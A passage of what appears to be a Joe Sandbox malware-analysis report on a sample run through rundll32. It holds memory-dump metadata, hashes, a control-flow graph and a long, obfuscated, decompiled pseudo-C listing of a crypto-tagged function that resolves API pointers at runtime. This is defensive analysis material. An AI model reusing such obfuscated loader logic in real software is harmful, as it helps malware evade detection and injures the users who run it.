                                                                          0x00123eae
                                                                          0x00123eb1
                                                                          0x00123eb4
                                                                          0x00123eba
                                                                          0x00123ec0
                                                                          0x00123eca
                                                                          0x00123ecd
                                                                          0x00123ed4
                                                                          0x00123ed7
                                                                          0x00123eda
                                                                          0x00123ee0
                                                                          0x00123eea
                                                                          0x00123eed
                                                                          0x00123ef6
                                                                          0x00123ef9
                                                                          0x00123eff
                                                                          0x00123f02
                                                                          0x00123f05
                                                                          0x00123f0c
                                                                          0x00123f10
                                                                          0x00123f1e
                                                                          0x00123f20
                                                                          0x00123f23
                                                                          0x00123f25
                                                                          0x00123f2b
                                                                          0x00123f35
                                                                          0x00123f38
                                                                          0x00123f3f
                                                                          0x00123f43
                                                                          0x00123f46
                                                                          0x00123f4c
                                                                          0x00123f52
                                                                          0x00123f59
                                                                          0x00123f5f
                                                                          0x00123f60
                                                                          0x00123f66
                                                                          0x00123f6e
                                                                          0x00123f75
                                                                          0x00123f7e
                                                                          0x00123f87
                                                                          0x00123f8a
                                                                          0x00123f90
                                                                          0x00123f98
                                                                          0x00123f9f
                                                                          0x00123fa8
                                                                          0x00123fa8

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 72f08a90819b8a7d6b902a99b873cf3cacbcc3fbfee91f535511ca024593f170
                                                                          • Instruction ID: fdca8149c38a950fc39a80e081c23f4e6f6eb31b9764e62fdbddc3390615c1bd
                                                                          • Opcode Fuzzy Hash: 72f08a90819b8a7d6b902a99b873cf3cacbcc3fbfee91f535511ca024593f170
                                                                          • Instruction Fuzzy Hash: B3921172844608CFEF04DFA0C8897EEBBF5FF48310F1944AAD889AA145D7385965CF69
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 00125262, Relevance: .7, Instructions: 740COMMONCrypto
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 475 125262-125310 480 125311-125314 475->480 481 125403-125440 480->481 482 12531a-125373 480->482 485 125441-1254cb 481->485 482->485 490 1254ef-125653 485->490 491 1254cd-1254e6 485->491 497 125655-12568b 490->497 498 12568e-1257ad 490->498 491->490 497->498 505 1257b0-1257b6 498->505 506 125a49-125ae7 505->506 507 1257bc-12581d 505->507 515 125aea-125b56 506->515 512 12583f-1258e4 507->512 513 12581f-125836 507->513 521 125906-125a20 512->521 522 1258e6-1258fd 512->522 513->512 523 125b58-125b73 515->523 524 125b7c-125cf6 515->524 521->515 522->521 523->524 535 125d33-125d95 524->535 536 125cf8-125d32 524->536 535->505 537 125d9b-125daa 535->537 536->535 537->480 539 125db0-125db4 537->539 539->480 540 125dba-125dd0 539->540
                                                                          C-Code - Quality: 88%
                                                                          			E00125262(signed int __ebx, signed int __ecx, void* __edi, signed int __esi) {
				signed int _t430;
				signed int _t432;
				intOrPtr _t438;
				signed int _t441;
				intOrPtr _t443;
				signed int _t445;
				void* _t447;
				signed int _t448;
				signed int _t451;
				signed int _t456;
				signed int _t462;
				void* _t463;
				signed int _t467;
				void* _t469;
				intOrPtr _t470;
				intOrPtr _t473;
				signed int _t475;
				void* _t476;
				signed int _t478;
				signed int _t483;
				signed int _t485;
				signed int _t488;
				signed int _t491;
				signed int _t495;
				void* _t497;
				void* _t498;
				signed int _t501;
				signed int _t506;
				signed int _t511;
				void* _t512;
				signed int _t514;
				void* _t516;
				signed int _t517;
				intOrPtr _t522;
				signed int _t523;
				signed int _t525;
				void* _t527;
				signed int _t528;
				signed int _t532;
				void* _t534;
				signed int _t535;
				signed int _t538;
				signed int _t541;
				intOrPtr _t544;
				signed int _t552;
				signed int _t554;
				void* _t555;
				signed int _t564;
				signed int _t567;
				signed int _t570;
				signed int _t572;
				signed int _t575;
				void* _t577;
				void* _t579;
				signed int _t586;
				signed int _t588;
				void* _t589;
				signed int _t594;
				signed int _t596;
				void* _t599;
				signed int _t601;
				signed int _t603;
				signed int _t609;
				void* _t612;
				signed int _t615;
				signed int _t618;
				signed int _t620;
				signed int _t623;
				signed int _t625;
				signed int _t627;
				signed int _t629;
				signed int _t632;
				signed int _t636;
				signed int _t639;
				signed int _t642;
				signed int _t645;
				signed int _t648;
				signed int _t651;
				signed int _t654;
				signed int _t657;
				void* _t660;
				signed int _t664;
				signed int _t666;
				signed int _t669;
				signed int _t672;
				signed int _t676;
				intOrPtr* _t680;
				signed int _t682;
				signed int _t685;
				signed int _t688;
				void* _t691;
				signed int _t693;
				void* _t694;
				signed int _t696;
				signed int _t701;
				signed int _t702;
				signed int _t705;
				void* _t706;
				signed int _t708;
				signed int _t709;
				signed int _t712;
				signed int _t715;
				signed int _t718;
				signed int _t729;
				signed int _t732;
				signed int _t733;
				signed int _t741;
				signed int _t744;
				void* _t745;
				signed int _t747;
				signed int* _t757;
				signed int* _t758;
				signed int* _t759;
				signed int* _t760;
				signed int* _t761;
				signed int* _t762;
				signed int* _t763;
				signed int* _t764;

				_t701 = __esi;
				_t564 = __ebx;
				 *(_t741 - 0x14) = 0;
				_push( *(_t741 - 0x14));
				 *_t757 =  *_t757 ^ __ebx + 0x0041c349;
				_push(_t632);
				 *_t757 =  *_t757 ^ _t632;
				 *_t757 =  *_t757 | __ebx + 0x0041c1b7;
				_t430 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *(_t741 - 0x14) = __ecx;
				 *(__ebx + 0x41cf63) =  *(__ebx + 0x41cf63) & 0x00000000;
				 *(__ebx + 0x41cf63) =  *(__ebx + 0x41cf63) ^ __ecx -  *(_t741 - 0x14) ^ _t430;
				_t676 =  *(__edi + 0x80);
				_t14 = _t564 + 0x41ce92; // 0x41ce92
				_push(_t741);
				 *_t757 =  *_t757 & 0x00000000;
				 *_t757 =  *_t757 + _t14;
				_t432 =  *((intOrPtr*)(__ebx + 0x41f060))();
				 *(_t741 - 0x10) = _t676;
				 *(__ebx + 0x41d0ab) =  *(__ebx + 0x41d0ab) & 0x00000000;
				 *(__ebx + 0x41d0ab) =  *(__ebx + 0x41d0ab) ^ _t676 & 0x00000000 ^ _t432;
				 *(_t741 - 0x10) = _t432;
				_push( *((intOrPtr*)(_t741 + 8)) +  *(_t741 - 0x10));
				_pop(_t680);
				_t25 = _t564 + 0x41cade; // 0x41cade
				_push(_t741);
				 *_t757 =  *_t757 & 0x00000000;
				 *_t757 =  *_t757 ^ _t25;
				_t26 = _t564 + 0x41c3a5; // 0x41c3a5
				_push(__ebx);
				 *_t757 =  *_t757 & 0x00000000;
				 *_t757 =  *_t757 | _t26;
				_t438 =  *((intOrPtr*)(__ebx + 0x41f068))();
				 *_t757 = _t741;
				 *((intOrPtr*)(__ebx + 0x41c073)) = _t438;
				_t744 = 0;
				do {
					if( *_t680 != 0) {
						 *_t46 =  *_t680;
						_t702 =  *(_t744 - 0x14);
						_t48 = _t564 + 0x41d32a; // 0x41d32a
						 *_t757 =  *_t757 & 0x00000000;
						 *_t757 =  *_t757 ^ _t48;
						_t49 = _t564 + 0x41cdb4; // 0x41cdb4
						 *_t757 =  *_t757 ^ _t744;
						 *_t757 = _t49;
						_t441 =  *((intOrPtr*)(_t564 + 0x41f068))(_t744, _t744);
						 *(_t564 + 0x41cada) =  *(_t564 + 0x41cada) & 0x00000000;
						 *(_t564 + 0x41cada) =  *(_t564 + 0x41cada) | _t632 & 0x00000000 ^ _t441;
						_t632 = _t632;
					} else {
						_t29 = _t570 + 0x41d076; // 0x41d076
						 *(_t744 - 0x10) = 0;
						 *_t761 =  *_t761 | _t29;
						_t552 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10));
						 *(_t744 - 0x14) = _t701;
						 *(_t570 + 0x41d0ee) = 0 ^ _t552;
						_push( *(_t680 + 0x10));
						_pop( *_t37);
						_push( *(_t744 - 0x10));
						_pop(_t702);
						_t39 = _t570 + 0x41c2b0; // 0x41c2b0
						 *_t761 = _t39;
						_t554 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10));
						 *(_t570 + 0x41c1b3) =  *(_t570 + 0x41c1b3) & 0x00000000;
						 *(_t570 + 0x41c1b3) =  *(_t570 + 0x41c1b3) | _t744 ^  *_t761 | _t554;
						_t744 = _t744;
					}
					_t636 =  *_t757;
					 *_t757 =  *(_t680 + 0x10);
					_t57 = _t564 + 0x41c661; // 0x41c661
					 *_t757 =  *_t757 ^ _t744;
					 *_t757 =  *_t757 + _t57;
					_t443 =  *((intOrPtr*)(_t564 + 0x41f060))(_t632);
					 *_t757 = _t702;
					 *((intOrPtr*)(_t564 + 0x41d31e)) = _t443;
					_t705 = 0;
					 *_t60 = _t744;
					_t61 = _t564 + 0x41c5b3; // 0x41c5b3
					 *_t757 = _t61;
					_t445 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t744 - 0x10));
					 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
					 *_t757 =  *_t757 ^ _t445;
					_t67 = _t564 + 0x41c868; // 0x41c868
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 ^ _t67;
					_t447 =  *((intOrPtr*)(_t564 + 0x41f060))( *(_t744 - 0x14));
					 *_t69 = _t680;
					_t586 = 0 ^  *(_t744 - 0x10);
					 *_t71 = _t447;
					 *(_t744 - 0x14) =  *(_t744 - 0x14) + _t586;
					_push( *(_t744 - 0x14));
					_pop(_t448);
					_t682 = _t680;
					 *(_t744 - 0x14) = _t448;
					_t588 = _t586 & 0x00000000 ^ _t448 & 0x00000000 ^  *(_t564 + 0x41c633);
					_t451 =  *(_t744 - 0x14);
					if(_t588 > _t451) {
						_t78 = _t564 + 0x41c5b3; // 0x41c5b3
						 *_t757 = _t78;
						_t80 = _t564 + 0x41c868; // 0x41c868
						 *(_t744 - 0x10) =  *(_t744 - 0x10) & 0x00000000;
						 *_t757 =  *_t757 | _t80;
						_t451 =  *((intOrPtr*)(_t564 + 0x41f064))( *(_t744 - 0x10),  *(_t744 - 0x14));
					}
					 *(_t744 - 0x10) = _t636;
					 *(_t564 + 0x41c2a0) =  *(_t564 + 0x41c2a0) & 0x00000000;
					 *(_t564 + 0x41c2a0) =  *(_t564 + 0x41c2a0) | _t636 & 0x00000000 ^ _t451;
					_t639 =  *(_t744 - 0x10);
					 *(_t744 - 0x10) = _t564;
					_t567 =  *(_t744 - 0x10);
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 | _t451 & 0x00000000 | _t564 & 0x00000000 ^  *(_t744 + 8);
					_t94 = _t567 + 0x41c812; // 0x41c812
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 + _t94;
					_t95 = _t567 + 0x41ca65; // 0x41ca65
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 | _t95;
					_t456 =  *((intOrPtr*)(_t567 + 0x41f068))(_t588, _t705);
					 *(_t744 - 0x14) = _t682;
					 *(_t567 + 0x41d25f) =  *(_t567 + 0x41d25f) & 0x00000000;
					 *(_t567 + 0x41d25f) =  *(_t567 + 0x41d25f) ^ (_t682 -  *(_t744 - 0x14) | _t456);
					_t685 =  *(_t744 - 0x14);
					 *_t104 = _t588;
					 *_t757 =  *_t757 ^ _t705;
					_push( *((intOrPtr*)(_t744 - 8)));
					_pop(_t706);
					 *((intOrPtr*)(_t744 - 8)) = _t706 +  *(_t744 - 0x10);
					_t708 = 0;
					_t108 = _t567 + 0x41d15d; // 0x41d15d
					 *_t757 =  *_t757 - _t588;
					 *_t757 = _t108;
					_t109 = _t567 + 0x41c260; // 0x41c260
					 *(_t744 - 0x10) = 0;
					 *_t757 =  *_t757 | _t109;
					_push( *((intOrPtr*)(_t567 + 0x41f068))( *(_t744 - 0x10), _t588));
					_pop( *_t113);
					_push( *(_t744 - 0x10));
					_pop( *_t115);
					_push( *((intOrPtr*)(_t685 + 0xc)));
					_pop( *_t117);
					_push( *(_t744 - 0x14));
					_pop(_t589);
					 *_t757 =  *_t757 & 0x00000000;
					 *_t757 =  *_t757 + _t589;
					_t119 = _t567 + 0x41ca52; // 0x41ca52
					 *_t757 =  *_t757 - _t567;
					 *_t757 =  *_t757 + _t119;
					_t462 =  *((intOrPtr*)(_t567 + 0x41f060))(_t567, _t567);
					 *(_t744 - 0x14) = _t639;
					 *(_t567 + 0x41cd09) =  *(_t567 + 0x41cd09) & 0x00000000;
					 *(_t567 + 0x41cd09) =  *(_t567 + 0x41cd09) | _t639 -  *(_t744 - 0x14) ^ _t462;
					_t642 =  *(_t744 - 0x14);
					_t758 = _t757 - 0xfffffffc;
					_push(0);
					 *_t758 =  *_t758 | _t462;
					_push( *_t757);
					_pop(_t463);
					 *_t758 = _t463 +  *(_t744 + 8);
					_t130 = _t567 + 0x41c07f; // 0x41c07f
					 *_t758 = _t130;
					_t467 =  *((intOrPtr*)(_t567 + 0x41f060))( *(_t744 - 0x10),  *(_t744 - 0x14));
					 *_t758 =  *_t758 - _t642;
					 *_t758 =  *_t758 | _t467;
					_t133 = _t567 + 0x41d248; // 0x41d248
					 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
					 *_t758 =  *_t758 | _t133;
					_t469 =  *((intOrPtr*)(_t567 + 0x41f060))( *(_t744 - 0x14), _t642);
					_t594 =  *_t758;
					_t759 =  &(_t758[1]);
					 *(_t744 - 0x10) = _t567;
					_push(_t594 + _t469);
					_t570 =  *(_t744 - 0x10);
					_pop(_t470);
					_t596 = _t594 & 0x00000000 ^ _t642 -  *_t759 ^  *(_t570 + 0x41d0e6);
					_t645 = _t642;
					if(_t596 > _t470) {
						_t141 = _t570 + 0x41c07f; // 0x41c07f
						 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
						 *_t759 =  *_t759 + _t141;
						_t145 = _t570 + 0x41d248; // 0x41d248
						 *(_t744 - 0x14) = 0;
						 *_t759 =  *_t759 | _t145;
						_t470 =  *((intOrPtr*)(_t570 + 0x41f064))( *(_t744 - 0x14),  *(_t744 - 0x14));
						 *(_t744 - 0x10) = _t708;
						 *((intOrPtr*)(_t570 + 0x41cd68)) = _t470;
						_t708 =  *(_t744 - 0x10);
					}
					_pop( *_t152);
					 *_t759 = _t596 & 0x00000000 ^  *(_t744 - 0x10);
					_t599 = _t708;
					_t709 = _t599 +  *(_t744 + 8);
					_t601 = 0;
					 *_t759 =  *_t759 & 0x00000000;
					 *_t759 =  *_t759 | _t601;
					_t155 = _t570 + 0x41d135; // 0x41d135
					 *_t759 = _t155;
					_t157 = _t570 + 0x41c60e; // 0x41c60e
					 *_t759 =  *_t759 & 0x00000000;
					 *_t759 =  *_t759 | _t157;
					_t473 =  *((intOrPtr*)(_t570 + 0x41f068))(_t601,  *(_t744 - 0x10), _t470);
					 *(_t744 - 0x14) = _t645;
					 *((intOrPtr*)(_t570 + 0x41c3e6)) = _t473;
					_t648 =  *(_t744 - 0x14);
					_t603 =  *_t759;
					_t760 = _t759 - 0xfffffffc;
					 *_t760 =  *_t760 - _t648;
					 *_t760 =  *_t760 ^ _t603;
					_t162 = _t570 + 0x41c220; // 0x41c220
					 *(_t744 - 0x14) = 0;
					 *_t760 =  *_t760 + _t162;
					_t475 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x14), _t648);
					 *(_t744 - 0x10) = _t603;
					 *(_t570 + 0x41cf1d) =  *(_t570 + 0x41cf1d) & 0x00000000;
					 *(_t570 + 0x41cf1d) =  *(_t570 + 0x41cf1d) ^ (_t603 ^  *(_t744 - 0x10) | _t475);
					_t476 =  *((intOrPtr*)(_t570 + 0x41f054))();
					 *(_t744 - 0x14) = 0;
					 *_t760 =  *_t760 + _t476;
					_t176 = _t570 + 0x41c49b; // 0x41c49b
					 *(_t744 - 0x10) = 0;
					 *_t760 =  *_t760 + _t176;
					_t478 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10),  *(_t744 - 0x14));
					 *(_t744 - 0x14) = _t709;
					 *(_t570 + 0x41c8aa) =  *(_t570 + 0x41c8aa) & 0x00000000;
					 *(_t570 + 0x41c8aa) =  *(_t570 + 0x41c8aa) | _t709 & 0x00000000 ^ _t478;
					_t712 =  *(_t744 - 0x14);
					_t761 = _t760 - 0xfffffffc;
					 *(_t744 - 0x10) = _t648;
					 *(_t744 - 4) =  *(_t744 - 4) & 0x00000000;
					 *(_t744 - 4) =  *(_t744 - 4) ^ _t648 -  *(_t744 - 0x10) ^ _t478 & 0x00000000 ^  *_t760;
					_t651 =  *(_t744 - 0x10);
					_t193 = _t570 + 0x41c279; // 0x41c279
					 *_t761 = _t193;
					_t195 = _t570 + 0x41d1ea; // 0x41d1ea
					 *_t761 =  *_t761 - _t712;
					 *_t761 = _t195;
					_t483 =  *((intOrPtr*)(_t570 + 0x41f068))(_t712,  *(_t744 - 0x14));
					 *(_t744 - 0x14) =  *(_t744 - 0x10);
					 *(_t570 + 0x41cbc5) = 0 ^ _t483;
					_t609 =  *(_t744 - 0x14);
					do {
						if(( *_t712 & 0x80000000) != 0) {
							_t761[1] =  *_t712;
							_t572 = _t570;
							 *_t761 =  *_t761 ^ _t712;
							 *_t761 =  *_t761 ^ _t572 + 0x0041d099;
							_t485 =  *((intOrPtr*)(_t572 + 0x41f060))(_t744);
							 *_t761 = _t609;
							 *(_t572 + 0x41c24c) = 0 ^ _t485;
							_t612 = 0;
							 *_t299 = _t712;
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 + _t572 + 0x41cdd2;
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 | _t572 + 0x0041c846;
							_t488 =  *((intOrPtr*)(_t572 + 0x41f068))(_t744, _t685);
							 *(_t744 - 0x10) = _t651;
							 *(_t572 + 0x41c9fe) = 0 ^ _t488;
							_t654 =  *(_t744 - 0x10);
							 *(_t744 - 0xc) =  *(_t744 - 0xc) & 0x0000ffff;
							 *_t761 =  *_t761 ^ _t654;
							 *_t761 =  *_t761 | _t572 + 0x0041c9e4;
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 ^ _t572 + 0x0041c746;
							_t491 =  *((intOrPtr*)(_t572 + 0x41f068))(_t654, _t654);
							 *(_t744 - 0x14) = _t654;
							 *(_t572 + 0x41c559) =  *(_t572 + 0x41c559) & 0x00000000;
							 *(_t572 + 0x41c559) =  *(_t572 + 0x41c559) ^ (_t654 ^  *(_t744 - 0x14) | _t491);
							_t657 =  *(_t744 - 0x14);
						} else {
							_t202 = _t570 + 0x41c8e1; // 0x41c8e1
							 *_t761 =  *_t761 - _t651;
							 *_t761 =  *_t761 | _t202;
							_t525 =  *((intOrPtr*)(_t570 + 0x41f060))(_t651);
							 *(_t744 - 0x10) = 0;
							 *_t761 =  *_t761 | _t525;
							_t206 = _t570 + 0x41c6e2; // 0x41c6e2
							 *_t761 =  *_t761 - _t570;
							 *_t761 =  *_t761 | _t206;
							_t527 =  *((intOrPtr*)(_t570 + 0x41f060))(_t570,  *(_t744 - 0x10));
							_t623 = (_t609 & 0x00000000) +  *_t761;
							_t764 = _t761 - 0xfffffffc;
							 *_t764 =  *_t764 + _t685;
							_t691 = _t527;
							_t528 = _t691 + _t623;
							_t693 = 0;
							 *(_t744 - 0x10) = _t651;
							_t625 = _t623 & 0x00000000 ^ _t651 ^  *(_t744 - 0x10) ^  *(_t570 + 0x41c521);
							_t664 =  *(_t744 - 0x10);
							if(_t625 > _t528) {
								_t212 = _t570 + 0x41c8e1; // 0x41c8e1
								 *_t764 =  *_t764 & 0x00000000;
								 *_t764 =  *_t764 | _t212;
								_t213 = _t570 + 0x41c6e2; // 0x41c6e2
								 *_t764 = _t213;
								_t528 =  *((intOrPtr*)(_t570 + 0x41f064))( *(_t744 - 0x10), _t712);
							}
							 *(_t570 + 0x41c56c) =  *(_t570 + 0x41c56c) & 0x00000000;
							 *(_t570 + 0x41c56c) =  *(_t570 + 0x41c56c) ^ (_t744 & 0x00000000 | _t528);
							_t744 = _t744;
							 *_t764 =  *_t764 & 0x00000000;
							 *_t764 =  *_t764 + _t712;
							_t220 = _t570 + 0x41c266; // 0x41c266
							 *_t764 = _t220;
							_push( *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x10), _t528));
							_pop( *_t223);
							_push( *(_t744 - 0x10));
							_pop( *_t225);
							_t729 =  *_t712;
							_t226 = _t570 + 0x41ce1f; // 0x41ce1f
							 *_t764 =  *_t764 & 0x00000000;
							 *_t764 =  *_t764 ^ _t226;
							_t532 =  *((intOrPtr*)(_t570 + 0x41f060))(_t729);
							 *(_t744 - 0x10) = 0;
							 *_t764 =  *_t764 ^ _t532;
							_t230 = _t570 + 0x41c0ad; // 0x41c0ad
							 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
							 *_t764 =  *_t764 | _t230;
							_t534 =  *((intOrPtr*)(_t570 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x10));
							_pop( *_t235);
							_t627 = _t625 & 0x00000000 |  *(_t744 - 0x14);
							 *_t237 = _t534;
							 *(_t744 - 0x10) =  *(_t744 - 0x10) + _t627;
							_push( *(_t744 - 0x10));
							_pop(_t535);
							_t666 = _t664;
							 *(_t744 - 0x10) = _t729;
							_t629 = _t627 & 0x00000000 | _t729 & 0x00000000 ^  *(_t570 + 0x41c765);
							_t732 =  *(_t744 - 0x10);
							if(_t629 > _t535) {
								_t244 = _t570 + 0x41ce1f; // 0x41ce1f
								 *_t764 = _t244;
								_t246 = _t570 + 0x41c0ad; // 0x41c0ad
								 *_t764 =  *_t764 & 0x00000000;
								 *_t764 =  *_t764 | _t246;
								_t535 =  *((intOrPtr*)(_t570 + 0x41f064))(_t744,  *(_t744 - 0x14));
							}
							 *_t764 = _t666;
							 *(_t570 + 0x41c497) = 0 ^ _t535;
							_t669 = 0;
							 *_t764 = _t693;
							_t694 = _t732;
							_t733 = _t694 +  *(_t744 + 8);
							_t696 = 0;
							_t250 = _t570 + 0x41d159; // 0x41d159
							 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
							 *_t764 =  *_t764 ^ _t250;
							_t254 = _t570 + 0x41d213; // 0x41d213
							 *(_t744 - 0x10) = 0;
							 *_t764 =  *_t764 + _t254;
							_t538 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x10),  *(_t744 - 0x14));
							 *(_t744 - 0x14) = _t733;
							 *(_t570 + 0x41d182) =  *(_t570 + 0x41d182) & 0x00000000;
							 *(_t570 + 0x41d182) =  *(_t570 + 0x41d182) ^ (_t733 ^  *(_t744 - 0x14) | _t538);
							_t612 = _t629;
							_t265 = _t570 + 0x41c85c; // 0x41c85c
							 *_t764 =  *_t764 & 0x00000000;
							 *_t764 =  *_t764 | _t265;
							_t266 = _t570 + 0x41c10e; // 0x41c10e
							 *_t764 = _t266;
							_t541 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x14), _t669);
							 *(_t570 + 0x41ce00) =  *(_t570 + 0x41ce00) & 0x00000000;
							 *(_t570 + 0x41ce00) =  *(_t570 + 0x41ce00) | _t669 & 0x00000000 | _t541;
							_t672 = _t669;
							_push( *(_t744 - 0x14) + 2);
							_pop( *_t273);
							_push( *(_t744 - 0x14));
							_pop( *_t275);
							_t276 = _t570 + 0x41c9a3; // 0x41c9a3
							 *(_t744 - 0x14) =  *(_t744 - 0x14) & 0x00000000;
							 *_t764 =  *_t764 ^ _t276;
							_t280 = _t570 + 0x41d1fa; // 0x41d1fa
							 *_t764 = _t280;
							_t544 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x14),  *(_t744 - 0x14));
							 *_t764 = _t672;
							 *((intOrPtr*)(_t570 + 0x41d0fe)) = _t544;
							_t657 = 0;
							_t712 = 0 ^  *_t764;
							_t761 =  &(_t764[1]);
							_t284 = _t570 + 0x41d0af; // 0x41d0af
							 *_t761 =  *_t761 & 0x00000000;
							 *_t761 =  *_t761 | _t284;
							_t285 = _t570 + 0x41ceae; // 0x41ceae
							 *_t761 = _t285;
							_t491 =  *((intOrPtr*)(_t570 + 0x41f068))( *(_t744 - 0x10), _t612);
							 *(_t744 - 0x10) = _t696;
							 *(_t570 + 0x41c8cd) =  *(_t570 + 0x41c8cd) & 0x00000000;
							 *(_t570 + 0x41c8cd) =  *(_t570 + 0x41c8cd) ^ _t696 -  *(_t744 - 0x10) ^ _t491;
							_t685 =  *(_t744 - 0x10);
						}
						 *(_t744 - 0x10) = _t572;
						_t575 =  *(_t744 - 0x10);
						_t322 = _t575 + 0x41cb0b; // 0x41cb0b
						 *(_t744 - 0x14) = 0;
						 *_t761 =  *_t761 | _t322;
						_t495 =  *((intOrPtr*)(_t575 + 0x41f060))( *(_t744 - 0x14));
						 *_t761 = _t495;
						_t327 = _t575 + 0x41cda5; // 0x41cda5
						 *_t761 = _t327;
						_t497 =  *((intOrPtr*)(_t575 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x10));
						_t762 = _t761 - 0xfffffffc;
						 *_t762 =  *_t762 ^ _t744;
						_t745 = _t497;
						_t498 = _t745 +  *_t761;
						_t747 = 0;
						 *(_t747 - 0x14) = _t712;
						_t615 =  *(_t575 + 0x41c96a);
						_t715 =  *(_t747 - 0x14);
						if(_t615 > _t498) {
							_t333 = _t575 + 0x41cb0b; // 0x41cb0b
							 *_t762 =  *_t762 & 0x00000000;
							 *_t762 =  *_t762 | _t333;
							_t334 = _t575 + 0x41cda5; // 0x41cda5
							 *(_t747 - 0x14) =  *(_t747 - 0x14) & 0x00000000;
							 *_t762 =  *_t762 | _t334;
							_t498 =  *((intOrPtr*)(_t575 + 0x41f064))( *(_t747 - 0x14), _t747);
						}
						 *_t339 = _t498;
						 *_t341 =  *(_t747 - 0x10);
						_t762[1] =  *(_t747 - 0xc);
						_t577 = _t575;
						_t344 = _t577 + 0x41cee2; // 0x41cee2
						 *_t762 = _t344;
						_t346 = _t577 + 0x41d33a; // 0x41d33a
						 *(_t747 - 0x14) = 0;
						 *_t762 =  *_t762 | _t346;
						_t501 =  *((intOrPtr*)(_t577 + 0x41f068))( *(_t747 - 0x14),  *(_t747 - 0x10), _t615);
						 *(_t577 + 0x41d1da) =  *(_t577 + 0x41d1da) & 0x00000000;
						 *(_t577 + 0x41d1da) =  *(_t577 + 0x41d1da) | _t715 -  *_t762 | _t501;
						_t718 = _t715;
						 *(_t747 - 0x10) = _t685;
						_t688 =  *(_t747 - 0x10);
						 *_t762 =  *_t762 - _t657;
						 *_t762 =  *_t762 ^ (_t501 & 0x00000000 | _t685 ^  *(_t747 - 0x10) |  *(_t747 - 4));
						_t358 = _t577 + 0x41d2b3; // 0x41d2b3
						 *_t762 =  *_t762 - _t657;
						 *_t762 = _t358;
						_t359 = _t577 + 0x41cb87; // 0x41cb87
						 *(_t747 - 0x10) =  *(_t747 - 0x10) & 0x00000000;
						 *_t762 =  *_t762 + _t359;
						_t506 =  *((intOrPtr*)(_t577 + 0x41f068))( *(_t747 - 0x10), _t657, _t657);
						 *(_t747 - 0x10) = _t615;
						 *(_t577 + 0x41cf9a) =  *(_t577 + 0x41cf9a) & 0x00000000;
						 *(_t577 + 0x41cf9a) =  *(_t577 + 0x41cf9a) | _t615 ^  *(_t747 - 0x10) | _t506;
						_t618 =  *(_t747 - 0x10);
						_t763 =  &(_t762[1]);
						 *(_t747 - 0x10) = 0;
						 *_t763 =  *_t763 ^  *_t762;
						_t373 = _t577 + 0x41c922; // 0x41c922
						 *(_t747 - 0x10) = 0;
						 *_t763 =  *_t763 | _t373;
						_t376 = _t577 + 0x41c97d; // 0x41c97d
						 *_t763 =  *_t763 & 0x00000000;
						 *_t763 =  *_t763 + _t376;
						_t511 =  *((intOrPtr*)(_t577 + 0x41f068))(_t618,  *(_t747 - 0x10),  *(_t747 - 0x10));
						 *(_t577 + 0x41cae1) =  *(_t577 + 0x41cae1) & 0x00000000;
						 *(_t577 + 0x41cae1) =  *(_t577 + 0x41cae1) | _t747 & 0x00000000 | _t511;
						_t744 = _t747;
						_t512 =  *((intOrPtr*)(_t577 + 0x41f050))();
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 + _t512;
						_t385 = _t577 + 0x41c197; // 0x41c197
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 | _t385;
						_t514 =  *((intOrPtr*)(_t577 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x14));
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 | _t514;
						_t391 = _t577 + 0x41c46f; // 0x41c46f
						 *(_t744 - 0x14) = 0;
						 *_t763 =  *_t763 ^ _t391;
						_t516 =  *((intOrPtr*)(_t577 + 0x41f060))( *(_t744 - 0x14),  *(_t744 - 0x14));
						_pop( *_t395);
						_t620 = (_t618 & 0x00000000) +  *(_t744 - 0x10);
						 *_t397 = _t516;
						 *(_t744 - 0x14) =  *(_t744 - 0x14) + _t620;
						_push( *(_t744 - 0x14));
						_pop(_t517);
						_t579 = _t577;
						 *(_t744 - 0x10) = _t688;
						_t609 = _t620 & 0x00000000 ^ _t688 -  *(_t744 - 0x10) ^  *(_t579 + 0x41c9d0);
						_t685 =  *(_t744 - 0x10);
						if(_t609 > _t517) {
							_t405 = _t579 + 0x41c197; // 0x41c197
							 *_t763 =  *_t763 & 0x00000000;
							 *_t763 =  *_t763 + _t405;
							_t406 = _t579 + 0x41c46f; // 0x41c46f
							 *(_t744 - 0x10) = 0;
							 *_t763 =  *_t763 ^ _t406;
